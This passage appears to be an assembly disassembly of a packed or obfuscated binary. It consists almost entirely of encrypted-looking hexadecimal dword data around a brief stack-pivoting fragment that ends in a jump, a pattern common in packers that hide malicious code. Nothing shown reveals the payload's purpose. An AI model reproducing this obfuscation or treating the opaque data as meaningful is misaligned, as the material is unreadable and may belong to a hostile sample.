45E31975h, 60605FC1h, 98E30335h, 52600C21h dd 0E606A709h, 1213177Ch, 1170DB9h, 2E21427Ah, 5B9546B7h dd 9E616434h, 5D677DB7h, 905D0334h, 1328D166h, 90ED1647h dd 132E9D5Fh, 4DE37F75h, 60606CC1h, 0D0E39A35h, 5260C036h dd 11EBF9B1h, 1A66247Ah, 15641BB6h, 0F1E3B332h, 60600AC0h dd 74E3A935h, 52605926h, 0E61E0D09h, 1213427Ch, 12B7A7B9h dd 2E21177Ah, 5B9460B7h, 9E613134h, 5D6C0BB7h, 905D5634h dd 13287ADEh, 90ED4347h, 132E21D3h, 0E5E32A75h, 6060C6C0h dd 0D8E3CF35h, 52606A15h, 0E7929409h, 5138E7Ch, 129BF9B1h dd 6066247Ah, 7CE39A35h, 5260C035h, 0E79EC109h, 1213247Ch dd 63794B9h, 2E218E7Ah, 5B94B8B7h, 96765734h, 5D61EC8Fh dd 12138834h, 1A2FC1B9h, 2E21247Ah, 5B9511B7h, 9E61FD34h dd 5D7D61B7h, 905D6534h, 1328E236h, 90ED8F47h, 132E412Fh dd 19E31975h, 60605FC1h, 0E8DB0B22h, 15600C35h, 90ED2547h dd 132E1117h, 1DE3B375h, 60600AC1h, 0E8DBA122h, 15605935h dd 90ED8F47h, 132E4A7Fh, 5E31975h, 60605FC1h, 90E30335h dd 52600C3Fh, 0E672A709h, 1213177Ch, 15F0DB9h, 2E21427Ah dd 5B953AB7h, 9E616434h, 5D4929B7h, 905D0334h, 1328D12Eh dd 90ED1647h, 132E9F0Fh, 35E37F75h, 60606CC1h, 1CE39A35h dd 5260C028h, 0E642C109h, 1213247Ch, 261394B9h, 2E218E7Ah dd 5B956CB7h, 9E615734h, 5D48C4B7h, 905DCF34h, 1328B71Eh dd 90ED2547h, 132E1777h, 0ACE3B375h, 60600C02h, 0ACE3A935h dd 52605910h, 0E6560D09h, 1213427Ch, 253BA7B9h, 2E21177Ah dd 5B95E4B7h, 967F3134h, 5B95568Fh, 1C131134h, 1CC735B1h dd 6166427Ah, 0A8E3A935h, 5260591Dh, 0E6160D09h, 0C13427Ch dd 0E6129FB1h, 6066177Ch, 0B4DB0B3Bh, 15600C3Bh, 90ED2546h dd 132E0893h, 21E3B375h, 60600AC1h, 0CE3A935h, 52605919h dd 0E65E0D09h, 1213427Ch dd 2503A7B9h, 2E21177Ah, 5B95B4B7h, 9E613134h, 5D47EBB7h dd 905D5634h, 13287B72h, 90ED4347h, 132E301Bh, 51E32A75h dd 6060C6C1h, 98E3CF35h, 52606A19h, 0E62E9409h, 12138E7Ch dd 107C1B9h, 1E21247Ah, 10E21ECDh, 0FC668832h, 0EA99BFD8h dd 1E6FA709h, 9069177Ah, 15668839h, 8780C1BFh, 0C68F247Ch dd 2E99EEC9h, 5D6CFDB7h, 0DE34B34h, 96662232h, 5B94788Fh dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h dd 5B94E0B7h, 19E22D34h, 2E661132h, 5B9420B7h, 10E34B34h dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh dd 905D1132h, 13287AAAh, 156DC13Dh, 90EB2232h, 153E73D6h dd 0EA9DE5DBh, 89E37FCDh, 1A606CC0h, 15661AB7h, 4FE30532h dd 0FC661C51h, 0EA99D964h, 0E7C69409h, 90698E7Ch, 15664439h dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h dd 1563943Dh, 368F8832h, 9E99BBC9h, 0F4D3ABC2h, 9C605900h dd 5D56C187h, 0FC58C434h, 1540A73Dh, 6BED1132h, 9E988B33h dd 15A5C5ECh, 2E662272h, 5D54F08Fh, 1DE48734h, 2E664432h dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 3ED3F9B9h, 90A1247Ah dd 132E1237h, 15668832h, 5CD3CD52h, 98606A02h, 5A6BBDAFh dd 1AB57734h, 156666B0h, 4DFBAF32h, 0EA605CAFh, 0CBE587E1h dd 9E99BBCDh, 5D566B87h, 10D39834h, 9860C031h, 5B2AF3AFh dd 9EB5DD34h, 5D54F0B7h, 5CE30134h, 74600C02h, 1F73BFBFh dd 0C699177Dh, 199B15BFh, 0C699427Dh, 156AA13Dh, 90E51132h dd 132EB87Bh, 0EAB8AD37h, 88EBDDCDh, 13291C14h, 96695BCDh dd 1566443Ah, 0FC62E0B1h, 15661100h, 883E15BFh, 0C699427Fh dd 156DA13Dh, 0A0ED1132h, 132EB87Bh, 1561C4DBh, 5CEBA932h dd 9C605902h, 5D56C187h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h dd 88EB77CDh, 1328093Dh, 0D2EDF1CDh, 3ED39419h, 90EF8E7Ah dd 132E41C7h, 3ED3A7B9h, 4531177Ah, 58E205BFh, 0C499427Ch dd 0AFA7B9h, 4236177Ah, 3ED30DB9h, 9836427Ah, 5B2B91BFh dd 9EB7EE34h, 3EAE03E2h, 5D738DBFh, 0BCDBA134h, 15605902h dd 154D0C3Dh, 90ED4432h, 132E0D3Bh, 25CF9419h, 0D45D8E7Ah dd 1571C23Dh, 90ED2232h, 132E21E7h, 25CF0D31h, 90EF427Ah dd 132E394Bh, 156652DBh, 0D4EDD932h, 1A99497Ah, 9C262232h dd 5D4918B7h, 0C0E38934h, 0D2600C2Eh, 5D568BB7h, 15661134h dd 7D26E232h, 15665432h, 0EA664863h, 5D7370A7h, 0D8F37734h dd 9C600C36h, 5D56F7B7h, 6CE39834h, 4C60C029h, 0E1FF1CDh dd 0A099247Ah, 132E04FBh, 0A0D37765h, 98600C19h, 5B3467B7h dd 14B6EE34h, 5D5621BFh, 6CDBCF34h, 9E606A29h, 5D73D887h dd 9EC27B34h, 5D629987h, 53A18F34h, 156611CEh, 10A64932h dd 20108337h, 50E32102h, 9E605921h, 5D7DF1BFh, 0B86ECD34h dd 159A64F5h, 9C661132h, 5D625587h, 0EA9EC734h, 1546A73Dh dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h, 15661132h dd 9C624EB1h, 5D629987h, 0E380CB34h, 0D5A7EECDh, 50E38B31h dd 96600C21h, 5D6B338Fh, 91691034h, 156688AFh, 0BFCC7AB3h dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h, 0A5F12232h dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 132E2B93h, 2BE21E33h dd 0AD668832h, 15664532h, 0E7D69FB1h, 1A66177Ch, 156680B6h dd 93FBC932h, 0EA606C67h, 855991E1h, 156E0C3Dh, 0D2E54432h dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 0A5DB9232h dd 1560C6C0h, 156EC03Dh, 88EB2232h, 13284464h, 52EE5BCDh dd 6CE3CF36h, 3E606A29h, 118E92F5h, 53A12599h, 156644CEh dd 0EA77CB32h, 0A0EFEECDh, 132E8CEFh, 95662C60h, 150C2232h dd 36C7A4CDh, 80998E7Ah, 132E4EC7h, 6CEBA968h, 0D260593Dh dd 15668833h, 11A7C732h, 1A1FAFBBh, 58F177Ah, 0FC9977C7h dd 15664296h, 6CEBA952h, 9E60593Dh, 0B9EB013Bh, 94600AC0h dd 51326C0Ah, 9E31E7Eh, 73668832h, 59623CB3h, 5E32D1Ch dd 9E661132h, 13A00BC2h, 271BC1B9h, 138F247Ah, 9E661133h dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h, 0EAA1A43Dh dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh, 6F5A1132h dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h, 5D621987h dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h dd 0B195E6B5h, 1599CFF4h, 113BD1BFh, 90ED247Ah, 132E1727h dd 906948B7h, 15664428h, 1A9FA7F4h, 7D21177Ah, 0C1FC2FE0h dd 3CCFF1CDh, 90EB247Ah, 132D6E52h, 0EA3458CDh, 1AA6C1E2h dd 15661AB7h, 0F8E39A32h, 9060C02Bh, 0FE34BF2h, 0D3662232h dd 5D69E8B7h, 0FC0EC434h, 0EABF9E2Eh, 5D4F8B87h, 75E39C34h dd 0EA60C34Dh, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh dd 0B9E3CD32h, 45606CC0h, 10E39C64h, 0EA60C348h, 1AA64FE2h dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h, 0B9EBA952h dd 45605FC0h, 556549B9h, 9DF6CF0Eh, 9C662232h, 5D5788A7h dd 159E8D34h, 45ED4432h, 0E8F3AB3Eh, 4D605937h, 3142CCB9h dd 905D8519h, 132E27CFh, 1576933Dh, 905D8832h, 132E75ABh dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h dd 15661516h, 10DE8832h, 98664432h, 5D28A2BFh, 7587EE34h dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h, 9169EAC9h dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh, 4BD087CDh dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h, 1A98454Ch dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h, 0E61AC1F5h dd 1560247Ch, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h dd 0F4E39A7Ch, 9E60C000h, 5D6541A7h, 96B8A934h, 4B6517F1h dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h, 96B9A3CDh dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h dd 132E127Bh, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0E61AA7F5h dd 1564177Ch, 0CBED8832h, 9568F23Dh, 9669A2CBh, 1566113Ah dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h dd 0F4E3CFEBh, 9E606A00h, 5D6514A7h, 40DB0B34h, 14600C2Ah dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh dd 9B8FEECDh, 0D2668832h, 5B9538B7h, 15662034h, 1AB89A32h dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh, 95668832h dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 27870DB9h, 80ED427Ah dd 132E2137h, 0D33ACB1h, 1A678E7Ah, 15660CB6h, 1ABE1932h dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh, 0A5689B98h dd 1A8708B2h, 3ECC8538h dd 118DA1EDh, 0D3E5BAA1h, 5CD30130h, 0D2600C02h, 5D7E77B7h dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h, 0EA9F66DBh dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h, 9638D169h dd 0D28F40F6h, 0D299DDCBh, 5B956DB7h, 15668D34h, 96B8CF32h dd 0B6526F1h, 278794B9h, 80ED8E7Ah, 132E4737h, 0E0DBA17Ch dd 1460591Bh, 14650C3Dh, 0CD5D4432h, 156EA03Dh, 0CF5D1132h dd 154D0E3Dh, 0A0EF4432h, 132E127Bh, 0E61A8CB9h, 49678E7Ch dd 0CB8F4816h, 4A662232h, 3C9394F5h, 15678E7Ah, 4C3D4432h dd 11A2A16Ch, 0EA9EE6DBh, 40DB0BCDh, 14600C2Ah, 15DDA63Dh dd 884D1132h, 132EBAD3h, 3ED3C9B9h, 0DE65247Ah, 0FCE5DE19h dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch dd 0E61AC1F5h, 1564247Ch, 0CBED1132h, 95683E3Dh, 9669C4CBh dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh dd 3E661132h, 0F4E303EBh, 9E600C00h, 5D6527A7h, 0EA20F834h dd 90A177CDh, 1328B74Eh, 15662230h, 0A369CFB9h, 959F083Ch dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh dd 1566DDD3h, 9EBF3A32h, 5D5469B7h, 10F3CF34h, 96606A31h dd 5D7E448Fh, 91698934h, 0EA99BAFBh, 9769FA09h, 1566113Ah dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh, 84CC6182h dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h, 157EADCAh dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h, 29661132h dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh dd 15603132h, 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h dd 132E4737h, 9069EBB7h, 15661134h, 16633DBBh, 0EC3F427Ah dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h dd 13E21E92h, 0ED668832h, 15664BDBh, 10D3AB32h, 98605931h dd 5B2A3FAFh, 0ECB5BB34h, 53ED72F1h, 0D4E39822h, 4D60C01Bh dd 987A82B1h, 5D70E78Fh, 5165BC34h, 98CDAC16h, 5D74018Fh dd 51658F34h, 0BE363516h, 364735BFh, 16CB427Ah, 0BE4E0676h dd 9830D26Ch, 5B2A18AFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 7C0D5F2h, 96A40B55h, 152AA8EDh dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah dd 60D554A8h, 59D7BA86h, 0CF6DCE25h, 0DCF143C4h, 5BF14A32h dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 638C882h dd 462C1A72h, 8ABCDF07h, 0C6D552E6h, 0B85E0003h, 0E9835492h dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 5019E5DEh dd 54113C52h, 0DDD3FF7Bh, 5163B977h, 0DF79F4B9h, 1331B575h dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 592C34F4h dd 5E9837Ah, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 340BD717h dd 3FD525FBh, 0F7ADFDF5h, 22913B4Bh, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 0CD7F987Ch, 0FFA073B3h, 7C61C3E9h dd 0E983C87Dh, 8BA4F305h, 88BD8DDBh, 8D064EF3h, 4F0E6F8Dh dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h dd 0FFFFF285h, 83C08BFFh, 481299BDh, 9750006h, 0D35BD83h dd 74000648h, 8B535019h, 411B8C0h, 85890000h, 6482FF9h dd 0A4CB9D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h dd 411B853h, 85890000h, 6482FF9h, 0A16C9D8Dh, 0D3FF064Ah dd 0C08B585Bh, 72A4F2BBh, 5E846h, 35F20000h, 81E96FA0h dd 0E1B85BD3h, 56B35F4Ah, 60A3C781h, 0B9600000h, 14E65762h dd 12DF57BFh, 0B8613Fh, 53000000h, 0CE9h, 92857700h, 8A0F4EFDh dd 4C979402h, 348B5A36h, 9E907h, 0C0FD0000h, 2B4D6D13h dd 814DA721h, 5D7D2AC6h, 8E96Ch, 75CA0000h, 0BAC55451h dd 0EE81D47Dh, 5CC66314h, 0C6816BB1h, 860986Dh, 28D0Fh dd 0DF8B0000h, 0E9073489h, 14h, 5CC9EF29h, 94A8F99Eh, 3B98FC25h dd 53A66BA5h, 9A70F510h, 4CE4C281h, 0E88360BDh, 0F7816001h dd 6A0B47ADh, 0CE860h, 0FBE40000h, 53B45A6Fh, 2417C33Eh dd 605E0081h, 48616161h, 0D9814848h, 5E47715h, 0A028F881h dd 850FFFFFh, 0FFFFFF6Eh, 0CC54CCBAh, 0FE04EB23h, 0E97DEC36h dd 494h, 0BCDCD352h, 254742E0h, 0A9CBD669h, 1C7C75FDh dd 87E5E480h, 832F177Ch, 10B6E28Eh, 0BE3B5735h, 26CDD9BBh dd 0FB924123h, 7342E5A3h, 0BA6DF37Ch, 120FFE85h, 7FB12616h dd 0B7C5B233h, 849D250Bh, 8A296507h, 1A2FE8Fh, 7BF99302h dd 0F060017Eh, 66077473h, 53D1A3D0h, 58125956h, 0BFBA39E3h dd 512DC4DDh, 76244B17h, 0A474DAA5h, 2E7A0619h, 84C49A83h dd 0B076244Ah, 2641332Eh, 26B8C8B9h, 0B63E4A3Bh, 880908A8h dd 0F0AA9FBh, 0AE1DD17Eh, 9F4C0E69h, 0CBA9A855h, 205154DFh dd 244AD392h, 60197C76h, 63C534AFh, 4CF7652Ch, 0D37B3849h dd 19022299h, 0C3DDE165h, 70h, 0FBFE8558h, 327A3C8Ah, 19D57624h dd 8AE47BA2h, 762432CEh, 99359D1Ah, 0DDE10E62h, 44045AF1h dd 9076243Fh, 19FBF17h, 4000000h, 6BFAFF85h, 32BEFAD4h dd 6D0A7624h, 58DAB6C5h, 0D45C2C5Dh, 0E85ACDDh, 5DF5F072h dd 0CE74BC63h, 83F8A9CBh, 0DAB44A22h, 7624809Eh, 32384D2Ah dd 6BB546E4h, 810B8C3h, 9899198Bh, 74248AEBh, 0BA8C8CFh dd 8BF8F985h, 17E7BF9h, 90580779h, 1B771514h, 9CEC9D98h dd 0F2891C0Bh, 2432DC9Ch, 278FE876h, 7C7BF888h, 0FEEB7D0Fh dd 0BF0AA81h, 0FEAD19F2h, 0E1103DD6h, 58E7DDh, 853C0000h dd 0D66DF8F9h, 2432C0F8h, 0F4700C76h, 66E784F5h, 4ED1A3D0h dd 8A28C453h, 0C4B1FE8Fh, 9240E134h, 0FFFC5284h, 935906F4h dd 1A761217h, 9EEA9B9Eh, 616A1B16h, 0F51E36F5h, 2FDDE103h dd 3Dh, 0F8F98574h, 504DD36Dh, 2AFFDFAh, 1DD17E0Fh, 0FBFE7AAEh dd 0B80FA99h, 0E45A8E1Eh, 0C24EE4AFh, 86542520h, 76251ABFh dd 0C96B0590h, 58FEBFCCh, 948FB966h, 4EDDE1E6h, 1, 0F1E285D5h dd 2432DB9Dh, 18EE976h, 84832070h, 0A73950F7h, 0C3740500h dd 44BB0D7Dh, 0AF0784B4h, 59A4E3Dh, 29127A06h, 0EF9AF463h dd 0FB7C6D2Ah, 24B8CFBCh, 0F9346C9Fh, 73DD7140h, 37BC5CF2h dd 0BF445030h, 3B7BCBB8h, 9E7C6CEDh, 3EC56FDCh, 0A64D593Bh dd 3DC6D2A3h, 0A43B4926h, 3DB8C8B9h, 7B354D3Ah, 0E5D74F84h dd 7271F226h, 0B49D8616h, 2E47DBA9h, 0DC000001h, 4F5AEC80h dd 5D9713Eh, 0A905903Ah, 7C6C416Ch, 8C9B2C78h, 81227E0Fh dd 0FD791382h, 5B4A56FCh, 17512DC4h, 0A57C6C41h, 40CC8CDAh dd 6B187C6Ch, 0BA9BB75Dh, 258D0A7Ah, 46D8CE75h, 0CC4D2A5Bh dd 4346EDBFh, 0AD126C32h dd 9BF9FC87h, 0A91308F3h, 47D2DBh, 0B9490000h, 0B24ED97Bh dd 27443530h, 40A8068Fh, 0AC762433h, 0E1BD54C3h, 762432A7h dd 0DFDA5935h, 0EA40C1AEh, 333B7DCDh, 6A407624h, 0AF6553B5h dd 33726638h, 0B1FE7624h, 532BC2D3h, 76243315h, 406EC4A3h dd 91h, 0DC7EB9C7h, 4EBC7549h, 6F087C6Ch, 0E2E1821Eh, 6A690A86h dd 46118A1Dh, 0F6A7727Dh, 80C39139h, 0BB7C6CD4h, 0EE8BB7ECh dd 46AC4A9h, 0A54F3CAEh, 11791B1Eh, 5AF16426h, 1BD7BB21h dd 6CF30543h, 0A3D4D37Ch, 0B71F08CDh, 0BBD22919h, 0B3494282h dd 0F434C1BDh, 15921EB4h, 686F1464h, 0ECED891Bh, 6F7A0D9Fh dd 4936881Eh, 22BED5B0h, 0B0F18E9Dh, 0DFBA01Ah, 66FD6832h dd 0D2DD34CAh, 7C09E6C8h, 0E6F45ADBh, 7C7A5F6Ch, 700C9BE4h dd 435FF7F2h, 0DC7EB9A0h, 43FD7549h, 2C4B7C73h, 0A3A64D5Fh dd 2B2ED5C1h, 77BFC7BCh, 0EBEFD9F5h, 8FFCFD79h, 9B2B48EEh dd 0F816FE17h, 27CDB268h, 0AFFB999Ch, 20700104h, 55F08180h dd 65F726E5h, 0A672D8D9h, 6A6F151Dh, 90138FEDh, 0C36E0295h dd 3E4966CCh, 70011CA2h, 31D9B33h, 7A000000h, 0FC85DA41h dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h dd 0CA6A0677h, 55EA86F7h, 0C96B3976h, 52B9BFCCh, 0C281E289h dd 4, 4EA81h, 14870000h, 2C895C24h, 661E6824h, 34890000h dd 4EC8324h, 55242C89h, 652191BDh, 3268BE28h, 0C6812EB4h dd 5DEC784Ch, 0EE81EE29h, 5DEC784Ch, 27EC685Dh, 24890000h dd 24048324h, 8F685D04h, 89000048h, 458F2434h, 242C8B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_541331 ; --------------------------------------------------------------------------- dd 0A0D524ABh, 640012CFh, 4F14E2B8h, 0FFC50306h, 6C714AE0h dd 0B08B5C53h, 0E41CD136h, 0A5030F15h, 58F1F752h, 2904BA69h dd 29B09733h, 0B77CE22Ah, 0CE57C86Dh, 3B12834Eh, 0CE42A005h dd 0D0B4AD19h, 90C5E57Ah, 667DB540h, 0EDF3CB48h, 4F51EB68h dd 6478622Eh, 549A851Ah, 0AA77DF4Fh, 9504EB3Ch, 0E93DA366h dd 5AEh, 0C8A8A74Eh, 315356DCh, 0A5C7C265h, 284849E9h dd 93F1F07Ch, 9F1B2370h, 1CA2FE9Ah, 8A376301h, 3AB9D5B7h dd 0EF865D3Fh, 7347D99Fh, 0C641E77Ch, 8AFBFE85h, 0C7C261FBh dd 207A36Fh, 7F7AF993h, 54DFCBD7h, 0BE552051h, 2432A8E0h dd 0E34B3476h, 0F8898C37h, 949113ADh, 750A86E7h, 32981996h dd 0A8D9DC66h, 0CB12C981h, 331E5A34h, 0CDAA7624h, 0AEDFD25Fh dd 0AA969C1h, 0B4316D0Fh, 3EBBD7B5h, 0A83E4A3Bh, 3295D3ABh dd 44237624h, 34BC50C7h, 3315532Bh, 0C4A37624h, 60BD3647h dd 0B064945Eh, 204FE764h, 0A4D5D450h, 6E4029D4h, 76251A2Ah dd 3B48C9B6h, 9D520963h, 598378FAh, 2124CEDCh, 3FD1C0A0h dd 0AFCCBDA8h, 0EDE88B07h, 1C72099Ch, 7625195Ch, 29A70F68h dd 7625196Ch, 82EF0698h, 0A6D0B683h, 96E29310h, 4E6512F1h dd 1162F9Ch, 0E9AFFF96h, 0F0762523h, 61334A05h, 9611635Fh dd 0F7D18EC0h, 0DDE1360Ch, 60610D9Fh, 103C9213h, 41h, 0FBFE858Bh dd 327A3C8Ah, 19D57624h, 5EE17BA2h, 0DD753243h, 0E10E5AC1h dd 180DDh, 851B0000h, 0FF8DFAFFh, 71037075h, 0A883F0F1h dd 5DE70DF2h, 0D2693858h, 2432BCFCh, 0C76F0876h, 0CFADA84Bh dd 0EEF98524h, 2432D890h, 1A9BE476h, 83951F6Dh, 1794E5E0h dd 0C56DFF96h, 314966CCh, 0DC58807Fh, 40E3BFDDh, 333D7B53h dd 0EC8B7624h, 0FD821E6Fh, 0C27C91EEh, 10E02B1Dh, 0A33ADDE1h dd 61000000h, 0D395E980h, 0E1762432h, 0C4603086h, 0A9408B31h dd 5CDDA30Bh, 0DFCA5D2Fh, 5550D2AEh, 0BAA85424h, 0CABB383Fh dd 0A73F32BEh, 1AD116D5h, 0B531FBA0h, 3CB8D4B4h, 61F1AA3Dh dd 34FD978Ah, 384867CFh, 752EB9B8h, 86D84CFEh, 76247DC2h dd 0C214610Eh, 107102CFh, 5B2124D2h, 636C0BA3h, 0F71C08F7h dd 64DDE12Dh, 6F3F28C8h, 76246A29h, 3A4BC8B7h, 4709D57Dh dd 92000000h, 0D395E980h, 0E1762432h, 0C4603086h, 0A8E1B4C5h dd 0FE1538DFh, 0A868CEA5h, 0DC7D0A0Dh, 0FB87AD12h, 34690012h dd 94158BD3h, 0FF856FF4h, 66FA8DFAh, 6F6DC5C0h, 76243326h dd 0DEF6B529h, 0DDE10E25h, 1FFh, 0E2852400h, 79FA96E7h dd 7A54EB7Ah, 7624333Eh, 3645ED8Ah, 0B47C23AFh, 4543413h dd 7137873Bh, 9F762432h, 6F1D08h, 849F1483h, 0A8AD5730h dd 0A64F26DFh, 80298510h, 897C6C8Fh, 51532310h, 268C133Ch dd 99CED8Ah, 5EF4D177h, 0A33231B2h, 0C66C6D09h, 4E45EEBAh dd 0B7E5A131h, 6EE07C6Ch, 39C86BB1h, 5A377E01h, 6AC09E76h dd 0F24AF2F4h, 0F894F475h, 54146A7Bh, 607C6C7Fh, 9BE98607h dd 166C1D18h, 4338E7A4h, 0D18C6768h, 0A9661396h, 0A2C3CF97h dd 46EDAD05h, 0A7D4D350h, 58461C32h, 0DB582988h, 659E3E5Ah dd 0BFDBA960h, 164h, 0FAF97A16h, 7EB93354h, 0F9B249DCh dd 0E4CB9FADh, 7693E496h, 62D682C5h, 0D3124016h, 0E77C6C75h dd 1A99EB98h, 82217D1Fh, 1F9B1087h, 78315580h, 750205A0h dd 901FB734h, 87D76E05h, 7C6C52C1h, 7632600Fh, 0A27C6C52h dd 32730007h, 1913946h, 70166762h, 5FAE4BE5h, 0F7B7AD81h dd 0E248C9A2h, 4AE933E8h, 968D2D4Fh, 5DBA9FBh, 8EE0CB6Bh dd 7C6D2BCAh, 42E86916h, 5C9Ah, 7BB90100h, 80554ED9h, 0D1CC53EAh dd 0B15C8A4h, 9B186974h, 8DE1B41Ah, 7624B51Bh, 6B30F7ACh dd 1AA0DE44h, 20249110h, 8B23A0BCh, 63F380EFh, 76250F25h dd 6D9B407Ah, 4C22B54Fh, 76250F5Ch, 7C6BFC88h, 76E16E0Fh dd 0EC98FDFh, 4AF77625h, 0B790677h, 0CBAC66Ch, 8Ch, 0DC7EB98Bh dd 881EB249h, 0F4B40A9Dh, 0C0762432h, 90410FA7h, 0B97C6C4Eh dd 4E0C4C22h, 0DFD87C6Ch, 4F3C7B77h, 0D1B3B63Dh, 512D3EC5h dd 7C6C4E17h, 2C5DDAA5h, 6C4ED59Eh, 5970E7Ch, 98D27879h dd 8B7AF923h, 0DE6AAB4Eh, 361EE9Dh, 5BCA90ABh, 0BC430303h dd 941CB082h, 0F4B40A9Dh, 0C0762C21h, 4630FA7h, 9B9E2577h dd 98346BEAh, 61600C1Ah, 0BC1293E0h, 90AB5D02h, 3035BCAh dd 557C7B38h, 89C6BB2Ah, 2692AF6Ah, 47ECFC52h, 49DC7EB9h dd 7348F175h, 4B38477Ch, 1724473Ch, 7C8A5D50h, 0DC72F3F6h dd 3A3B73Ch, 0E091901Dh, 0E7850283h, 7C0D08ABh, 5FBCB1EEh dd 5D5CD9B8h, 0DDD45C2Ch, 0F2A929ACh, 0A315532Bh, 0C4A3B3C7h dd 61DE8C47h, 5F3D38BBh, 0D4A5A043h, 74852FC1h, 0FC968ABh dd 2350D196h, 842CEC42h, 911E159Eh, 752E65E0h, 2AA1A393h dd 5A14BA63h, 0B1B43FE5h, 0CD3CC7D3h, 7F540BFh, 0CD58D985h dd 19B1AC33h, 0DEC9Ah, 806B0000h, 32D395E9h, 86E17624h dd 85FFA430h, 494E5FCh, 790B787Fh, 0FC8CFDFCh, 720E7F6Ah dd 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h dd 5404EC83h, 8124048Fh, 42404h, 89520000h, 4C281E2h, 81000000h dd 4EAh, 24148700h, 2434895Ch, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 5653243Ch, 